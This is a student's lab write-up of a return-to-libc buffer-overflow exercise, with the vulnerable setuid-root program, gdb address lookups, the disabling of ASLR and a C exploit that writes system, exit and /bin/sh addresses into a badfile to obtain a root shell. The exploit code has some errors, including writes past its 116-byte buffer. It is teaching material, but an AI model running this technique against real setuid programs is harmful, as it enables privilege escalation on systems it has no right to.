Justin Guerrero

Lab04 - Return to lib.c

Buffer size = 116

Pretasks: Countermeasures

We begin by turning off any countermeasures as we did in the last lab. We must start slow in order to understand the entirety of the process and what each piece of the kernel does to protect and prevent exploits. We again start with turning off Address Space Randomization.

```
[02/13/20]seed@VM:~/.../lab03$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/13/20]seed@VM:~/.../lab03$
```

In addition to turning off the ASLR we will compile without the StackGuard protection, see compiled examples, and we will also be using executable and non executable stack commands during the compiling.

We will also change our shell to the zsh shell to prevent the program from dropping permissions.

```
[02/13/20]seed@VM:~/.../lab03$ sudo ln -sf /bin/zsh /bin/sh
[02/13/20]seed@VM:~/.../lab03$
```

Our next step is to copy the code from the course github to our terminal and change to a set uid root owned library.

```
/bin/bash 80x37

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 116 // NOTE: ALREADY UPDATED THE BUF_SIZE VALUE HERE FROM THE
AB SPEC. - Travis, 02/12/2020
#endif

int bof(FILE *badfile)
{
        char buffer[BUF_SIZE];

        /* The following statement has a buffer overflow problem */
        fread(buffer, sizeof(char), 300, badfile);

        return 1;
}

int main(int argc, char **argv)
{
        FILE *badfile;

        /* Change the size of the dummy array to randomize the parameters
           for this lab. Need to use the array at least once */
        char dummy[BUF_SIZE+20];  memset(dummy, 0, BUF_SIZE+20);

        badfile = fopen("badfile", "r");
        bof(badfile);

        printf("Returned Properly\n");
        fclose(badfile);
        return 1;
}
~
                                                              40,1          Bot
```

```
[02/13/20]seed@VM:~/.../lab04$ gcc -DBUF_SIZE=116 -fno-stack-protector -z noexec
stack -o retlib retlib.c
[02/13/20]seed@VM:~/.../lab04$ sudo chown root retlib
[02/13/20]seed@VM:~/.../lab04$ sudo chmod 4755 retlib
[02/13/20]seed@VM:~/.../lab04$
```

Task 1:Finding out the addresses

In this task we are in search of the addresses of certain things. We start by creating the badfile to prevent errors, but in this case we are particularly interested in finding where system() is located, which will help us execute our exploit later. We also want to find out where the program exits, so we search for that address as well.

```
[02/13/20]seed@VM:~/.../lab04$ touch badfile
[02/13/20]seed@VM:~/.../lab04$ gdb --quiet relib
relib: No such file or directory.
gdb-peda$ q
[02/13/20]seed@VM:~/.../lab04$ gdb --quiet retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/seed/Documents/lab04/retlib
Returned Properly
[Inferior 1 (process 4190) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
   char *shell = (char *)getenv("MYSHELL");

   if(shell){
      printf("  Value:   %s\n",   shell);
      printf("  Address: %x\n", (unsigned int)shell);
   }

   return 1;
}
```

```
[02/17/20]seed@VM:~/.../lab04$ ./envaddr
  Value:   /bin/sh
  Address: bffffdd4
[02/17/20]seed@VM:~/.../lab04$
```

Task 2: Putting the shell string in the memory

The goal in this task is to be able to pass the string "/bin/sh" into an environment variable. This string will allow us to gain a shell through the command like we did in the first lab. We will start by passing the memory location of the system() call through a one of the programs we are asked to write. We then create and export the shell environment variable called MYSHELL, containing /bin/sh which we will pass as a parameter to the system function. We then find the addresses of the location where this variable is stored. Which we use in the next task to exploit.

```
[02/14/20]seed@VM:~/.../lab04$ export MYSHELL=/bin/sh
[02/14/20]seed@VM:~/.../lab04$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/14/20]seed@VM:~/.../lab04$
```

Task 3: Exploiting the buffer-overflow vulnerability

Next, we create the badfile by writing exploit.c (I have chosen to write a C code instead of python for this step).

```
/bin/bash
/bin/bash 80x21
#include <stdlib.h>
#include<stdio.h>
#include<string.h>

int main(int argc, char **argv){

        char buf[116];
        FILE *badfile;

        badfile = fopen("./badfile", "w");

        *(long *) &buf[140] = 0xbffffdd4; // bin/sh
        *(long *) &buf[136] = 0xb7e42da0; // system
        *(long *) &buf[132] = 0xb7e369d0; // exit


        fwrite(buf, sizeof(buf), 1, badfile);
        fclose(badfile);
}
```

once we fill in the appropriate memory locations into the exploit file we are ready to attack the system. We run the attack and get our root shell. I ran both the C and the python file, both gave me root but I screen shot the python file.

```
[02/18/20]seed@VM:~/.../lab04$ ./libc_exploit.py
[02/18/20]seed@VM:~/.../lab04$ ./retlib
# whoami
root
#
```

Attack variation 1: remove the exit() function

```
[02/18/20]seed@VM:~/.../lab04$ ./retlib
# whoami
root
#
```

observation: after removing the exit function, we are still able to grab a root shell. This I believe to be because we are still successfully returning the address of the /bin/sh and the system().

Attack vaiation 2: change file name of retlib

after changing the name of the retlib file to retlibnew, we are faced with a new problem. The shell does not recognize a command. This is because the difference in length can change thing within the memory, forcing the pointers to point to locations that are not the locations we want them to causing faults, and missing commands.

```
[02/18/20]seed@VM:~/.../lab04$ ./retlibnew
zsh:1: command not found: h
[02/18/20]seed@VM:~/.../lab04$ 
```

Task 4: turning on address randomization.

We are asked to turn randomization off in this task, and run the exploit again. We find that the exploit no longer works. This is because, like in the last lab, the stack and memory is randomized so we can no longer pinpoint the exact memory locations like we were previously by running the gdb.

```
[02/18/20]seed@VM:~/.../lab04$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[02/18/20]seed@VM:~/.../lab04$
[02/18/20]seed@VM:~/.../lab04$ ./libc_exploit.py
[02/18/20]seed@VM:~/.../lab04$ ./retlib
Segmentation fault
[02/18/20]seed@VM:~/.../lab04$ 
```